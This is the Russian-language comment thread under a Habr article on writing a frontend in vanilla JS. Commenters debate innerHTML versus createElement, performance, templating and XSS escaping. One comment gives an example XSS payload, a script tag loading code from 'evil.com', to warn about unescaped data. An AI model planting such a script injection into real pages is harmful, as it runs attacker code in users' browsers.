Как стать автором
Обновить

Комментарии 42

Код примера ниже выглядят дико, неужели действительно кто-то добавляет HTML элементы таким способом?

    const li = document.createElement('li');
    const card = document.createElement('div');
    card.classList.add('card');
    li.appendChild(card);
    const cardContent = document.createElement('div');
    cardContent.classList.add('card-content');
    card.appendChild(cardContent);
    const content = document.createElement('div');
    content.classList.add('content');
    cardContent.appendChild(content);
    const name = document.createElement('div');
    name.classList.add('name');
    name.textContent = hero.name;
    cardContent.appendChild(name);
    const description = document.createElement('div');
    description.classList.add('description');
    description.textContent = hero.description;
    cardContent.appendChild(description);
    ul.appendChild(li);


innerHTML ведь намного эстетичнее и нагляднее
В Мейл.ру — так
innerHTML полностью затирает существующее содержимое — но что если нужно добавить элементы, особенно если не в конец, а середину?

insertBefore — если хотите на объектах, insertAdjacentHTML — если хотите на стрингах

Это очевидно. Так же как и то, что вопрос был риторический.
innerHTML хоть и эстетичней и наглядней, но имеет много недостатков, и один из них это скорость.
При каждой записи, браузер парсит заново все содержимое данного элемента, особенно мне нравиться записи такого рода:
ul.innerHTML += '<li> ... </li>';

Также огромным минусом является потеря всех ссылок и ивентов на элементах:
div.innerHTML = '<div class="content"></div>';
var content = div.querySelector('.content');
div.innerHTML += '<div class="content2"></div>';
console.log(content.parentNode); // null

Ну и к тому же пример автора хороший тем, что уже сразу есть все ссылки, хотя прочесть и понять данный код, очень трудно…
ul.innerHTML += '… ';

Ну, простите, это проблема криворукого программиста, а не innerHTML. Понятно же, что для innerHTML нужно сперва подготовить строку, а потом присвоить её всю целиком.

Интересно было бы услышал мнения человека, который не поленился, и поставил минус в карму, из-за данного комментария…

Я как был мелким, делал юзерскрипт для ВК (еще старого), долго не мог плнять почему сайдбар переставал работать когда я добавлял свою ссылку)
Через innrHTML +=

присвоение innerHTML — самый быстрый (производительный) способ вставить большой фрагмент в документ. Уж движок знает, как быстро распарсить HTML. Портянка с дясятком DOM-операций не может быть производительней ОДНОЙ DOM-операции.

В том то и дело, что надо распарсить, и для начала лучше проверить, чем говорить о том, о чем не знаете, как пример:
var el = document.getElementById('el');

console.time('time');

var html = '';
for (var i = 0; i != 1000000; i++) {
  html += '<div></div>';
}
el.innerHTML = html;

console.timeEnd('time'); // time: 934.566162109375ms

el.innerHTML = '';

console.time('time');

for (var i = 0; i != 1000000; i++) {
  var div = document.createElement('div');
  el.appendChild(div);
}

console.timeEnd('time'); // time: 564.466796875ms

усложнив структуру DOM, все будет еще печальней, а если еще и при этом взять во внимание что нужны будут ссылки, то innerHTML покажет себя куда как не в лучшую сторону.

P.S. заметьте, в первом случае, с innerHTML, выполняется лишь одна DOM операция, а во втором, аж целых миллион раз, так почему же она быстрее?
НЛО прилетело и опубликовало эту надпись здесь
Сильно цифры не поменялись, но тогда надо и для второго примера написать, вместо цикла, что то такое:
el.appendChild(document.createElement('div'));
el.appendChild(document.createElement('div'));
el.appendChild(document.createElement('div'));
el.appendChild(document.createElement('div'));
...

Это можно было оформить более структурировано, но, судя по всему, автор сознательно не стал этого делать.

Часто приходится работать с чистым JS, я обычно так делаю:

ul.insertAdjacentHTML('beforeEnd', `
    <li>
        <div class="card">
            <div class="card-content">
                <div class="content">
                    <div class="name">
                        ${ hero.name }
                    </div>
                    <div class="description">
                        ${ hero.description }
                    </div>
                </div>
            </div>
        </div>
    </li>`
);

Тут надо быть осторожным с hero.name и hero.description, т.к. они могут вызвать XSS проблемы, если hero.description например <script src="evil.com/do_bad_stuff.js"></script>.

Хорошее замечание, спасибо.

Кстати, плюсом шаблонных строк являются "теговые шаблоны", которые позволяют эскейпить строку, но не всю, а только вставленные переменные


Вот: https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/

Почему нет? Работает достаточно быстро. Правда таким голым совсем кодом только если прям совсем одну кнопку инлайн нужно добавить. Если чуть сложнее — можно обернуть из серии


create_element('li', { className: 'card' }, [ createElement('div', {}, [create_text_node('text')])]);


Вынести create_element в отдельную библиотеку, позволить ее расширять. Разве что синтаксис получился многословный, но раз мы используем typescript — мы уже используем препроцессинг, поэтому можно сделать DSL чтобы оно выглядело как обычный html и компилировалось в такой код. Oh wait…

При использовании innerHTML надо быть осторожным с динамическими данными типа hero.name и hero.description, т.к. если они не закодированы, то могут вызвать XSS. В этом плане textContent безопаснее.

В innerHTML, если вставлять в специально для этого предназначенный пустой узел, остаётся экранировать в пользовательских данных только открывающую угловую скобку, насколько я помню. Зато можно добавлять какое-нибудь несложное форматирование на стороне сервера — например, вставлять форматированный текст с полужирным, курсивом, etc.
Особенности его набора прекрасно помогают избегать багов, и я пользуюсь его возможностью транспилирования в любой формат JavaScript.

На этой фразе я сломался.

НЛО прилетело и опубликовало эту надпись здесь
чтобы доделывать работу вместо уволенного программиста
А нафига его брали тогда? :) Что бы уволить? А когда брали, вот интересно — куда смотрели?

Или вы и правда хотите сказать, а оно получается так, что бы так называемому руководству всегда было «комфортно» и «приятно», то для этого и появились фреймворки? :)))))
И сами же программисты их и написали ога? Ну что бы у руководства появились «комфорт» и «приятность» ага?

Слушайте, вы точно не сумасшедший? :))))
НЛО прилетело и опубликовало эту надпись здесь
Ванильный JS ради ванильного JS.

Когда это приложение хоть чуть-чуть разрастется, поддержка таких рендеров превратится в ад. Аналогично, когда сам шаблон чуть подрастет в функционале и для изменений одной циферки будет перерисовываться все страница. Затем вы решите этого избежать и ванильный JS превратиться в ванильный-самопальный шаблонизатор, который будет заимствовать идеи из взрослых библиотек и ванильность куда-то улетучится.

Но если ради примера — почему бы и нет.
Хорошая статья получилась, отлично показывает, почему писать в 2020 году без инструментов шаблонизации — уже мягко говоря не стоит.
При том, что простые инструменты шаблонизации — это в общем-то тривиальная надстройка над document.createElement/appendChild, которую вы в любом случае (криво) переизобретете в очередной миллионный раз, если вздумаете написать хоть сколько-нибудь большой код.
Если уж и использовать ванилу — то почему без кастомных елементов?
Там еще наследование классов появляется, практически полноценное ООП + стейт-менеджмент (свойства и методы кастом элементов доступны как DOM properties), красота.
и нафига тут тупоскрипт и реклама этого вот редактора? Без них не взлетит?
Импорт HTML обсуждается годами, но, как видно из материалов сайта «Can I Use», даже не все современные браузеры поддерживают эту возможность

Это предложение содержит искаженную информацию. Стандарт уже завернули обратно, и никем он не обсуждается. Современные браузеры и не собираются его поддерживать, вот позиция Mozilla, например: https://hacks.mozilla.org/2014/12/mozilla-and-web-components/


В качестве замены нам обещают html modules но прогресс с ними пока не особый.

Поправьте меня, но правильно ли я понял? Мы отказались от svelte, а потом руками написали тот код который бы нам сгенерировал sveltejs, только код стал более запутанным и плохо поддерживаемым. И ладно бы мотивировал это простотой и отсутствием доп инструментов, но нет же, мы возьмем TS и добавим этап сборки.
Вопрос. Зачем?
Кроме того, это забавно, полезно и помогает понять ценность современных библиотек и фреймворков, которые делают за нас так много работы.

Недавно пришлось переписать одно приложение на ваниле (ES5), т.к. оно должно было работать на странном клиентском смарт-тв с допотопным браузерным движком и целым рядом прочих ограничений. Сам удивился насколько это оказалось просто и быстро. Ясно, что для масштабируемости подобных решений все равно понадобятся дополнительные телодвижения, но писать свои микрофреймворки для таких случаев это интересно, как минимум. А примеры в статье — ужасны.

Спасибо за статью. Ловлю некоторый диссонанс после прочтения. В прологе рассказывается о ванильном JS и CSS. В статье используется уже TypeScript. Придерживаясь такой политики, можно взять и SvelteJS, на выходе тоже получаем максимально приближенный ванильный JS код.

Автор оригинала статьи – евангелист Angular. Видимо, настолько прикипел к тайпскрипту, что даже в статье не смог без него.

Какие же в итоге селекторы получатся если так называть классы? По 2.5 метра?
Если уж добавлен typescript, то грех отказываться от jsx. Нужно будет только написать простую createElement функцию, которая и элементы сгенерирует, и обработчики событий привяжет, и ref расставит как душе угодно.

Сам JSX никаких элементов и обработчиков событий не привяжет. JSX это просто специальный синтаксис для вызова функций фреймворка


<div className="test"/>
// превращается в
React.createElement('div', {className: 'test'})

Чтобы это все работало, нужен React или любая другая библиотека с совместимой сигнатурой.

Чтобы это все работало, нужен React или любая другая библиотека с совместимой сигнатурой.

<irony>непомерно сложная задача</irony> :)

Ну есть же классы, веб-компоненты. С ними вполне можно и на «чистом» писать. А так уж скорее статья не в пользу ванильного жса.
Зарегистрируйтесь на Хабре, чтобы оставить комментарий